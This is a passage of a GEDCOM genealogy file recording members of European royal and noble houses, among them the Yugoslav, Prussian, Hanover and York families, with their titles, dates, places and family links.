TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1928\n2 PLAC Belgrade\n1 FAMS @F338@\n1 FAMS @F339@\n1 FAMC @F151@\n0 @I875@ INDI\n1 NAME Andrej of_Yugoslavia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1929\n2 PLAC ,,Yugoslavia\n1 FAMS @F340@\n1 FAMS @F341@\n1 FAMS @F342@\n1 FAMC @F151@\n0 @I876@ INDI\n1 NAME William  /Marshal/\n1 TITL Earl of Pembroke\n1 SEX M\n1 DEAT\n2 DATE 24 APR 1231\n1 FAMS @F336@\n0 @I877@ INDI\n1 NAME Alexander  //\n1 TITL Crown Prince\n1 SEX M\n1 BIRT\n2 DATE        1945\n1 FAMS @F337@\n1 FAMC @F165@\n0 @I878@ INDI\n1 NAME Dona_Maria da_Gloria //\n1 TITL Princess\n1 SEX F\n1 FAMS @F337@\n0 @I879@ INDI\n1 NAME Peter of_Yugoslavia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1980\n2 PLAC U.S.A.\n1 FAMC @F337@\n0 @I880@ INDI\n1 NAME Philip of_Yugoslavia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1982\n2 PLAC Washington D.C.,U.S.A.\n1 FAMC @F337@\n0 @I881@ INDI\n1 NAME Alexander of_Yugoslavia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1982\n2 PLAC Washington D.C.,U.S.A.\n1 FAMC @F337@\n0 @I882@ INDI\n1 NAME Alice  /Scholastica/\n1 TITL Grand Duchess\n1 SEX F\n1 FAMS @F338@\n0 @I883@ INDI\n1 NAME Nikolas K. /George/\n1 SEX M\n1 BIRT\n2 DATE        1958\n1 FAMC @F338@\n0 @I884@ INDI\n1 NAME Katarina K. /George/\n1 SEX F\n1 BIRT\n2 DATE        1959\n1 FAMC @F338@\n0 @I885@ INDI\n1 NAME Linda  /Bonney/\n1 SEX F\n1 FAMS @F339@\n0 @I886@ INDI\n1 NAME George K. /George/\n1 SEX M\n1 BIRT\n2 DATE        1984\n1 FAMC @F339@\n0 @I887@ INDI\n1 NAME Christina of_Hesse //\n1 SEX F\n1 FAMS @F340@\n0 @I888@ INDI\n1 NAME Tatiana Maria //\n1 SEX F\n1 BIRT\n2 DATE        1957\n1 FAMC @F340@\n0 @I889@ INDI\n1 NAME Christopher K. /George/\n1 SEX M\n1 BIRT\n2 DATE        1960\n1 FAMC @F340@\n0 @I890@ INDI\n1 NAME Kira Melita of_Leiningen//\n1 SEX F\n1 BIRT\n2 DATE        1930\n1 FAMS @F341@\n1 FAMC @F346@\n0 @I891@ INDI\n1 NAME Vladimir K. /George/\n1 SEX M\n1 BIRT\n2 DATE        1964\n1 FAMC @F341@\n0 @I892@ INDI\n1 NAME Dimitrye K. /George/\n1 SEX M\n1 BIRT\n2 DATE        1965\n2 PLAC London,England\n1 FAMC @F341@\n0 @I893@ INDI\n1 NAME Mitsi  //\n1 SEX F\n1 FAMS @F342@\n0 @I894@ INDI\n1 NAME Louis  //\n1 TITL Dauphin\n1 SEX M\n1 DEAT\n2 DATE        1765\n1 FAMS @F1185@\n1 FAMC @F525@\n0 @I895@ INDI\n1 NAME Maria of_Russia //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1907\n1 DEAT\n2 DATE        1951\n1 FAMS @F346@\n1 FAMC @F213@\n0 @I896@ INDI\n1 NAME Elizabeth of_France //\n1 SEX F\n1 BIRT\n2 DATE        1602\n1 DEAT\n2 DATE        1644\n1 FAMS @F948@\n1 FAMC @F271@\n0 @I897@ INDI\n1 NAME Charles_X  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1757\n1 DEAT\n2 DATE    NOV 1836\n1 FAMS @F1186@\n1 FAMC @F1185@\n0 @I898@ INDI\n1 NAME Louis_XVIII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1755\n2 PLAC Versailles,France\n1 DEAT\n2 DATE 16 SEP 1824\n1 FAMC @F1185@\n0 @I899@ INDI\n1 NAME Maria of_Russia //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1953\n2 PLAC Madrid,Spain,Spain\n1 FAMS @F345@\n1 FAMC @F214@\n0 @I900@ INDI\n1 NAME Franz Wilhelm of_Prussia//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE ABT    1943\n1 FAMS @F345@\n0 @I901@ INDI\n1 NAME George of_Russia //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1981\n2 PLAC ,,Spain\n1 FAMC @F345@\n0 @I902@ INDI\n1 NAME Karl of_Leiningen //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1898\n1 DEAT\n2 DATE        1946\n1 FAMS @F346@\n0 @I903@ INDI\n1 NAME Emich of_Leiningen //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1926\n1 FAMS @F347@\n1 FAMC @F346@\n0 @I904@ INDI\n1 NAME Karl of_Leiningen //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1928\n1 FAMC @F346@\n0 @I905@ INDI\n1 NAME Margarita  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1932\n1 FAMC @F346@\n0 @I906@ INDI\n1 NAME Mechtilde  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1936\n1 FAMS @F350@\n1 FAMC @F346@\n0 @I907@ INDI\n1 NAME Friedrich of_Leiningen //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1938\n1 FAMC @F346@\n0 @I908@ INDI\n1 NAME Eilika of_Oldenberg //\n1 TITL Duchess\n1 SEX F\n1 FAMS @F347@\n0 @I909@ INDI\n1 NAME Melita  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1951\n1 FAMC @F347@\n0 @I910@ INDI\n1 NAME Karl  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1952\n1 FAMS @F348@\n1 FAMC @F347@\n0 @I911@ INDI\n1 NAME Andreas  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1955\n1 FAMS @F349@\n1 FAMC @F347@\n0 @I912@ INDI\n1 NAME Stephanie  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1958\n1 FAMC @F347@\n0 @I913@ INDI\n1 NAME Margarite of_Hohenloche- Ochringen//\n1 TITL Princess\n1 SEX F\n1 FAMS @F348@\n0 @I914@ INDI\n1 NAME Alexandra of_Hanover //\n1 TITL Princess\n1 SEX F\n1 FAMS @F349@\n0 @I915@ INDI\n1 NAME Ferdinand  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1982\n1 FAMC @F349@\n0 @I916@ INDI\n1 NAME Karl  /Bauscher/\n1 SEX M\n1 FAMS @F350@\n0 @I917@ INDI\n1 NAME Ulf  /Bauscher/\n1 SEX M\n1 BIRT\n2 DATE        1963\n1 FAMC @F350@\n0 @I918@ INDI\n1 NAME Berthold  /Bauscher/\n1 SEX M\n1 BIRT\n2 DATE        1965\n1 FAMC @F350@\n0 @I919@ INDI\n1 NAME Johan  /Bauscher/\n1 SEX M\n1 BIRT\n2 DATE        1971\n1 FAMC @F350@\n0 @I920@ INDI\n1 NAME Anne of_Austria //\n1 SEX F\n1 BIRT\n2 DATE        1601\n1 DEAT\n2 DATE        1666\n1 FAMS @F521@\n1 FAMC @F522@\n0 @I921@ INDI\n1 NAME Friedrich Wilhelm of_Prussia//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1939\n1 FAMS @F355@\n1 FAMS @F356@\n1 FAMC @F188@\n0 @I922@ INDI\n1 NAME Michael of_Prussia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1939\n1 FAMS @F354@\n1 FAMC @F188@\n0 @I923@ INDI\n1 NAME Marie-Cecile of_Prussia //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1942\n1 FAMC @F188@\n0 @I924@ INDI\n1 NAME Louis Ferdinand of_Prussia//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1944\n1 DEAT\n2 DATE        1977\n1 FAMS @F353@\n1 FAMC @F188@\n0 @I925@ INDI\n1 NAME Christian Sigismund of_Prussia//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1946\n1 FAMS @F352@\n1 FAMC @F188@\n0 @I926@ INDI\n1 NAME Nina zu_Reventlow //\n1 TITL Countess\n1 SEX F\n1 FAMS @F352@\n0 @I927@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 FAMC @F352@\n0 @I928@ INDI\n1 NAME Donata of_Castell- Rudenhausen//\n1 SEX F\n1 FAMS @F353@\n0 @I929@ INDI\n1 NAME Georg Friedrich //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1976\n1 FAMC @F353@\n0 @I930@ INDI\n1 NAME Corneilie-Cecile  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1978\n1 FAMC @F353@\n0 @I931@ INDI\n1 NAME Jutta  /Jorn/\n1 SEX F\n1 FAMS @F354@\n0 @I932@ INDI\n1 NAME Micaela  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1967\n1 FAMC @F354@\n0 @I933@ INDI\n1 NAME Nataly  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1970\n1 FAMC @F354@\n0 @I934@ INDI\n1 NAME Waltraud  /Freydag/\n1 SEX F\n1 FAMS @F355@\n0 @I935@ INDI\n1 NAME Philip  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1968\n1 FAMC @F355@\n0 @I936@ INDI\n1 NAME Ehrengard  /von_Reden/\n1 SEX F\n1 FAMS @F356@\n0 @I937@ INDI\n1 NAME Friedrich  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1979\n1 FAMC @F356@\n0 @I938@ INDI\n1 NAME Viktoria  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1982\n1 FAMC @F356@\n0 @I939@ INDI\n1 NAME Joachim  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1984\n1 FAMC @F356@\n0 @I940@ INDI\n1 NAME Margaret  /Messenger/\n1 SEX F\n1 FAMS @F357@\n0 @I941@ INDI\n1 NAME Emily  //\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1976\n1 FAMC @F357@\n0 @I942@ INDI\n1 NAME Benjamin  //\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1978\n1 FAMC @F357@\n0 @I943@ INDI\n1 NAME Alexander  /Lascelles/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1980\n1 FAMC @F357@\n0 @I944@ INDI\n1 NAME Edward  /Lascelles/\n1 SEX M\n1 BIRT\n2 DATE        1982\n1 FAMC @F357@\n0 @I945@ INDI\n1 NAME Fredericka Ann /Duhrrson/\n1 SEX F\n1 FAMS @F358@\n0 @I946@ INDI\n1 NAME Sophie  /Lascelles/\n1 SEX F\n1 BIRT\n2 DATE        1973\n1 FAMC @F358@\n0 @I947@ INDI\n1 NAME Rowan  /Lascelles/\n1 SEX M\n1 BIRT\n2 DATE        1977\n1 FAMC @F358@\n0 @I948@ INDI\n1 NAME Julie  /Bayliss/\n1 SEX F\n1 FAMS @F359@\n0 @I949@ INDI\n1 NAME Thomas  /Lascelles/\n1 SEX M\n1 BIRT\n2 DATE        1982\n1 FAMC @F359@\n0 @I950@ INDI\n1 NAME Ellen  /Lascelles/\n1 SEX F\n1 BIRT\n2 DATE        1984\n1 FAMC @F359@\n0 @I951@ INDI\n1 NAME Marie Louise //\n1 SEX F\n1 BIRT\n2 DATE        1662\n1 DEAT\n2 DATE        1689\n1 FAMS @F946@\n1 FAMC @F272@\n0 @I952@ INDI\n1 NAME Maud  /Carnegie/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1893\n1 DEAT\n2 DATE        1945\n1 FAMS @F360@\n1 FAMC @F29@\n0 @I953@ INDI\n1 NAME Charles of_Southesk //\n1 TITL Earl XI\n1 SEX M\n1 BIRT\n2 DATE        1893\n1 FAMS @F360@\n0 @I954@ INDI\n1 NAME James George Alexander/Carnegie/\n1 TITL Duke of Fife\n1 SEX M\n1 BIRT\n2 DATE        1929\n1 FAMS @F361@\n1 FAMC @F360@\n0 @I955@ INDI\n1 NAME Caroline  /Dewar/\n1 TITL Hon.\n1 SEX F\n1 FAMS @F361@\n0 @I956@ INDI\n1 NAME Alexandra  /Carnegie/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1959\n1 FAMC @F361@\n0 @I957@ INDI\n1 NAME David Charles /Carnegie/\n1 TITL Earl of Macduff\n1 SEX M\n1 BIRT\n2 DATE        1961\n1 FAMC @F361@\n0 @I958@ INDI\n1 NAME Ragnhild Alexandra //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1930\n2 PLAC Oslo,Norway\n1 FAMS @F363@\n1 FAMC @F153@\n0 @I959@ INDI\n1 NAME Astrid Maud Ingeborg//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1932\n1 FAMS @F362@\n1 FAMC @F153@\n0 @I960@ INDI\n1 NAME Johan Martin /Ferner/\n1 SEX M\n1 BIRT\n2 DATE        1927\n1 FAMS @F362@\n0 @I961@ INDI\n1 NAME Cathrine  /Ferner/\n1 SEX F\n1 BIRT\n2 DATE        1962\n1 FAMC @F362@\n0 @I962@ INDI\n1 NAME Benedickte  /Ferner/\n1 SEX M\n1 BIRT\n2 DATE        1963\n1 FAMC @F362@\n0 @I963@ INDI\n1 NAME Alexander  /Ferner/\n1 SEX M\n1 BIRT\n2 DATE        1965\n1 FAMC @F362@\n0 @I964@ INDI\n1 NAME Elisabeth  /Ferner/\n1 SEX F\n1 BIRT\n2 DATE        1969\n1 FAMC @F362@\n0 @I965@ INDI\n1 NAME Carl Christian /Ferner/\n1 SEX M\n1 BIRT\n2 DATE        1972\n1 FAMC @F362@\n0 @I966@ INDI\n1 NAME Erling  /Lorentzen/\n1 SEX M\n1 FAMS @F363@\n0 @I967@ INDI\n1 NAME Haakon  /Lorentzen/\n1 SEX M\n1 FAMC @F363@\n0 @I968@ INDI\n1 NAME Ingeborg  /Lorentzen/\n1 SEX F\n1 FAMC @F363@\n0 @I969@ INDI\n1 NAME Ragnhild Alexandra /Lorentzen/\n1 SEX F\n1 BIRT\n2 DATE        1968\n2 PLAC ,,Brazil\n1 FAMC @F363@\n0 @I970@ INDI\n1 NAME Anne of_Bourbon-Parma //\n1 TITL Princess\n1 SEX F\n0 @I971@ INDI\n1 NAME Joana Maria Valentina/Lambrino/\n1 SEX F\n1 BIRT\n2 DATE  3 OCT 1898\n2 PLAC Roman,Romania\n1 DEAT\n2 DATE 11 MAR 1953\n2 PLAC Paris,France\n1 FAMS @F364@\n1 FAMC @F400@\n0 @I972@ INDI\n1 NAME Margarita of_Romania //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1949\n2 PLAC Lausanne\n1 FAMC @F161@\n0 @I973@ INDI\n1 NAME Helen of_Romania //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1950\n2 PLAC Lausanne\n1 FAMS @F365@\n1 FAMC @F161@\n0 @I974@ INDI\n1 NAME Irina  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1953\n2 PLAC Lausanne\n1 FAMS @F366@\n1 FAMC @F161@\n0 @I975@ INDI\n1 NAME Sophie  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1957\n1 FAMC @F161@\n0 @I976@ INDI\n1 NAME Maria  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1964\n1 FAMC @F161@\n0 @I977@ INDI\n1 NAME Robin  /Medforth-Mills/\n1 TITL Professor\n1 SEX M\n1 FAMS @F365@\n0 @I978@ INDI\n1 NAME Nicholas  /Medforth-Mills/\n1 SEX M\n1 BIRT\n2 DATE        1985\n1 FAMC @F365@\n0 @I979@ INDI\n1 NAME John  /Kreuger/\n1 SEX M\n1 FAMS @F366@\n0 @I980@ INDI\n1 NAME Michael  /Kreuger/\n1 SEX M\n1 BIRT\n2 DATE        1985\n1 FAMC @F366@\n0 @I981@ INDI\n1 NAME William  /Worsley/\n1 TITL Sir\n1 SEX M\n1 FAMS @F367@\n0 @I982@ INDI\n1 NAME Martin  /Lascelles/\n1 SEX M\n1 BIRT\n2 DATE        1963\n1 FAMC @F102@\n0 @I983@ INDI\n1 NAME Alexandra  /Morton/\n1 SEX F\n1 FAMS @F368@\n0 @I984@ INDI\n1 NAME Richard_III  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  2 OCT 1452\n2 PLAC Fotheringay,Castle\n1 DEAT\n2 DATE 22 AUG 1485\n2 PLAC Bosworth\n1 BURI\n2 PLAC Grey Friars,Abbey,Leicester\n1 FAMS @F369@\n1 FAMC @F371@\n0 @I985@ INDI\n1 NAME Anne  /Nevill/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 11 JUN 1456\n2 PLAC Warwick Castle,Warwick,England\n1 DEAT\n2 DATE 16 MAR 1485\n2 PLAC Westminster,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F380@\n1 FAMS @F369@\n1 FAMC @F370@\n0 @I986@ INDI\n1 NAME Edward  //\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE ABT    DEC 1473\n2 PLAC Middleham Castle,Yorkshire,England\n1 DEAT\n2 DATE  9 APR 1484\n2 PLAC Middleham Castle,Yorkshire,England\n1 FAMC @F369@\n0 @I987@ INDI\n1 NAME Richard  /Neville/\n1 TITL Earl of Warwick\n1 SEX M\n1 DEAT\n2 DATE        1471\n1 FAMS @F370@\n1 FAMC @F490@\n0 @I988@ INDI\n1 NAME Richard  /Plantagenet/\n1 TITL Duke of York\n1 SEX M\n1 DEAT\n2 DATE        1460\n1 FAMS @F371@\n1 FAMC @F385@\n0 @I989@ INDI\n1 NAME Cicely  /Nevill/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1495\n1 FAMS @F371@\n1 FAMC @F372@\n0 @I990@ INDI\n1 NAME Ralph of_Westmoreland 1st//\n1 TITL Earl\n1 SEX M\n1 FAMS @F372@\n0 @I991@ INDI\n1 NAME Edward_IV  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 28 APR 1442\n2 PLAC Rouen,France\n1 DEAT\n2 DATE  9 APR 1483\n2 PLAC Westminster,Palace,London,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,England\n1 FAMS @F373@\n1 FAMC @F371@\n0 @I992@ INDI\n1 NAME Edmund  //\n1 TITL Earl of Rutland\n1 SEX M\n1 DEAT\n2 DATE        1460\n1 FAMC @F371@\n0 @I993@ INDI\n1 NAME George  //\n1 TITL Duke of Clarence\n1 SEX M\n1 FAMS @F381@\n1 FAMC @F371@\n0 @I994@ INDI\n1 NAME Anne  //\n1 SEX F\n1 DEAT\n2 DATE        1476\n1 FAMS @F382@\n1 FAMS @F383@\n1 FAMC @F371@\n0 @I995@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 DEAT\n2 DATE        1503\n1 FAMS @F1056@\n1 FAMC @F371@\n0 @I996@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 FAMS @F384@\n1 FAMC @F371@\n0 @I997@ INDI\n1 NAME Ursula  //\n1 SEX F\n1 FAMC @F371@\n0 @I998@ INDI\n1 NAME Elizabeth  /Woodville/\n1 SEX F\n1 BIRT\n2 DATE ABT    1437\n2 PLAC Grafton Regis,Northants\n1 DEAT\n2 DATE  8 JUN 1492\n2 PLAC Bermondsey Abbey\n1 BURI\n2 PLAC St. George Chap.,Windsor,England\n1 FAMS @F379@\n1 FAMS @F373@\n1 FAMC @F1051@\n0 @I999@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE    AUG 1466\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 23 MAY 1482\n2 PLAC Greenwich,,England\n1 FAMC @F373@\n0 @I1000@ INDI\n1 NAME Cicely  //\n1 SEX F\n1 BIRT\n2 DATE 20 MAR 1469\n1 DEAT\n2 DATE 24 AUG 1507\n2 PLAC Quarr Abbey,Isle of Wight,England\n1 FAMS @F374@\n1 FAMS @F375@\n1 FAMC @F373@\n0 @I1001@ INDI\n1 NAME Edward_V  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  4 NOV 1470\n2 PLAC Sanctuary,Westminster,England\n1 DEAT\n2 DATE        1483\n1 FAMC @F373@\n0 @I1002@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE 10 APR 1472\n1 DEAT\n2 DATE 11 DEC 1472\n1 FAMC @F373@\n0 @I1003@ INDI\n1 NAME Richard  //\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE 17 AUG 1473\n2 PLAC Shrewsbury\n1 DEAT\n2 DATE AFT    1483\n1 FAMS @F376@\n1 FAMC @F373@\n0 @I1004@ INDI\n1 NAME Anne  //\n1 SEX F\n1 BIRT\n2 DATE  2 NOV 1475\n2 PLAC Westminster,Palace\n1 DEAT\n2 DATE 23 NOV 1511\n1 FAMS @F377@\n1 FAMC @F373@\n0 @I1005@ INDI\n1 NAME George  //\n1 TITL Duke of Bedford\n1 SEX M\n1 BIRT\n2 DATE    MAR 1477\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE    MAR 1479\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F373@\n0 @I1006@ INDI\n1 NAME Catherine  //\n1 SEX F\n1 BIRT\n2 DATE ABT 14 AUG 1479\n2 PLAC Eltham Palace\n1 DEAT\n2 DATE 15 NOV 1527\n2 PLAC Tiverton\n1 FAMS @F378@\n1 FAMC @F373@\n0 @I1007@ INDI\n1 NAME Bridget  //\n1 SEX F\n1 BIRT\n2 DATE 10 NOV 1480\n2 PLAC Eltham Palace\n1 DEAT\n2 DATE        1517\n2 PLAC Dartford\n1 FAMC @F373@\n0 @I1008@ INDI\n1 NAME John 1st /Welles/\n1 TITL Viscount Welles\n1 SEX M\n1 DEAT\n2 DATE  9 FEB 1499\n2 PLAC London,,England\n1 FAMS @F374@\n0 @I1009@ INDI\n1 NAME Thomas of_Isle_of_Wight /Kyme/\n1 SEX M\n1 FAMS @F375@\n0 @I1010@ INDI\n1 NAME Anne  /Mowbray/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE 19 NOV 1481\n2 PLAC Greenwich,,England\n1 FAMS @F376@\n0 @I1011@ INDI\n1 NAME Thomas 3rd /Howard/\n1 TITL Duke of Norfolk\n1 SEX M\n1 FAMS @F377@\n0 @I1012@ INDI\n1 NAME William  /Courtenay/\n1 TITL Earl of Devon\n1 SEX M\n1 FAMS @F378@\n0 @I1013@ INDI\n1 NAME John  /Grey/\n1 TITL Sir\n1 SEX M\n1 DEAT\n2 DATE 17 FEB 1461\n1 FAMS @F379@\n0 @I1014@ INDI\n1 NAME Son  /Grey/\n1 SEX M\n1 BIRT\n2 DATE BEF    1461\n1 FAMC @F379@\n0 @I1015@ INDI\n1 NAME Son_2  /Grey/\n1 SEX M\n1 BIRT\n2 DATE BEF    1461\n1 FAMC @F379@\n0 @I1016@ INDI\n1 NAME Edward  //\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 13 OCT 1453\n2 PLAC Westminster,Palace,England\n1 DEAT\n2 DATE  4 MAY 1471\n2 PLAC Tewkesbury\n1 FAMS @F380@\n1 FAMC @F448@\n0 @I1017@ INDI\n1 NAME Margaret of_Austria //\n1 SEX F\n1 BIRT\n2 DATE        1584\n1 DEAT\n2 DATE        1611\n1 FAMS @F522@\n1 FAMC @F1351@\n0 @I1018@ INDI\n1 NAME Edward  //\n1 TITL Earl of Warwick\n1 SEX M\n1 DEAT\n2 DATE        1499\n1 FAMC @F381@\n0 @I1019@ INDI\n1 NAME Margaret of_Salisbury //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE ABT    1469\n1 DEAT\n2 DATE        1541\n1 FAMS @F1055@\n1 FAMC @F381@\n0 @I1020@ INDI\n1 NAME Henry  //\n1 TITL Duke of Exeter\n1 SEX M\n1 FAMS @F382@\n0 @I1021@ INDI\n1 NAME Thomas  /St._Leger/\n1 TITL Sir\n1 SEX M\n1 FAMS @F383@\n0 @I1022@ INDI\n1 NAME Charles the_Bold //\n1 TITL Duke of Burgundy\n1 SEX M\n1 FAMS @F384@\n0 @I1023@ INDI\n1 NAME Richard of_Cambridge /Plantagenet/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1415\n1 FAMS @F385@\n1 FAMS @F535@\n1 FAMC @F488@\n0 @I1024@ INDI\n1 NAME Anne  /Mortimer/\n1 TITL Lady\n1 SEX F\n1 FAMS @F385@\n1 FAMC @F492@\n0 @I1025@ INDI\n1 NAME Isabel  /Plantagenet/\n1 SEX F\n1 DEAT\n2 DATE        1484\n1 FAMS @F1053@\n1 FAMS @F386@\n1 FAMC @F385@\n0 @I1026@ INDI\n1 NAME Henry 1st /Bourchier/\n1 TITL Earl of Essex\n1 SEX M\n1 FAMS @F386@\n1 FAMC @F621@\n0 @I1027@ INDI\n1 NAME Charles_XV  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE  3 MAY 1826\n2 PLAC Stockholm,Sweden\n1 DEAT\n2 DATE 19 AUG 1872\n2 PLAC Malmo\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F387@\n1 FAMC @F627@\n0 @I1028@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE  5 AUG 1828\n2 PLAC The Hague\n1 DEAT\n2 DATE 30 MAR 1871\n2 PLAC Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F387@\n1 FAMC @F388@\n0 @I1029@ INDI\n1 NAME Louisa of_Prussia //\n1 SEX F\n1 BIRT\n2 DATE        1808\n1 DEAT\n2 DATE        1870\n1 FAMS @F388@\n1 FAMC @F145@\n0 @I1030@ INDI\n1 NAME Ernest Augustus of_Hanover/Hanover/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1914\n1 DEAT\n2 DATE        1987\n1 FAMS @F392@\n1 FAMC @F198@\n0 @I1031@ INDI\n1 NAME George William /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1915\n1 FAMS @F391@\n1 FAMC @F198@\n0 @I1032@ INDI\n1 NAME Mireille  /Dutry/\n1 SEX F\n1 BIRT\n2 DATE        1946\n1 FAMS @F389@\n0 @I1033@ INDI\n1 NAME Christian  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1919\n1 DEAT\n2 DATE        1981\n1 FAMS @F389@\n1 FAMC @F198@\n0 @I1034@ INDI\n1 NAME Guelph Henry /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1923\n1 FAMS @F390@\n1 FAMC @F198@\n0 @I1035@ INDI\n1 NAME Monika of_Solms-Laubach /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1929\n1 FAMC @F198@\n0 @I1036@ INDI\n1 NAME Alexandra of_Ysenburg_and Budingen//\n1 SEX F\n1 BIRT\n2 DATE        1938\n1 FAMS @F390@\n0 @I1037@ INDI\n1 NAME Sophie of_Greece //\n1 SEX F\n1 BIRT\n2 DATE        1914\n1 FAMS @F391@\n0 @I1038@ INDI\n1 NAME Ortrud of_Schleswig- Holstein//\n1 SEX F\n1 BIRT\n2 DATE        1925\n1 DEAT\n2 DATE        1980\n1 FAMS @F392@\n0 @I1039@ INDI\n1 NAME Marie  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1952\n1 FAMS @F393@\n1 FAMC @F392@\n0 @I1040@ INDI\n1 NAME Ernest Augustus of_Hanover/Hanover/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1954\n1 FAMS @F394@\n1 FAMC @F392@\n0 @I1041@ INDI\n1 NAME Ludwig Rudolph /Hanover/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 28 NOV 1955\n1 DEAT\n2 DATE 29 NOV 1989\n1 BURI\n2 DATE  2 DEC 1989\n2 PLAC Grunau,Austria\n1 FAMS @F395@\n1 FAMC @F392@\n0 @I1042@ INDI\n1 NAME Olga  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1958\n1 FAMC @F392@\n0 @I1043@ INDI\n1 NAME Alexandra  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1959\n1 FAMS @F396@\n1 FAMC @F392@\n0 @I1044@ INDI\n1 NAME Heinrich Julius /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1961\n1 FAMC @F392@\n0 @I1045@ INDI\n1 NAME Michael  /von_Hochberg/\n1 TITL Count\n1 SEX M\n1 FAMS @F393@\n0 @I1046@ INDI\n1 NAME Chantal  /Hochuli/\n1 SEX F\n1 BIRT\n2 PLAC ,Switzerland\n1 FAMS @F394@\n0 @I1047@ INDI\n1 NAME Ernest Augustus /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1983\n1 FAMC @F394@\n0 @I1048@ INDI\n1 NAME Christian Heinrich /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1985\n1 FAMC @F394@\n0 @I1049@ INDI\n1 NAME Isabella Valsassina /von_Thurn/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1962\n1 DEAT\n2 DATE 29 NOV 1989\n1 BURI\n2 DATE  2 DEC 1989\n2 PLAC Grunau,Austria\n1 FAMS @F395@\n0 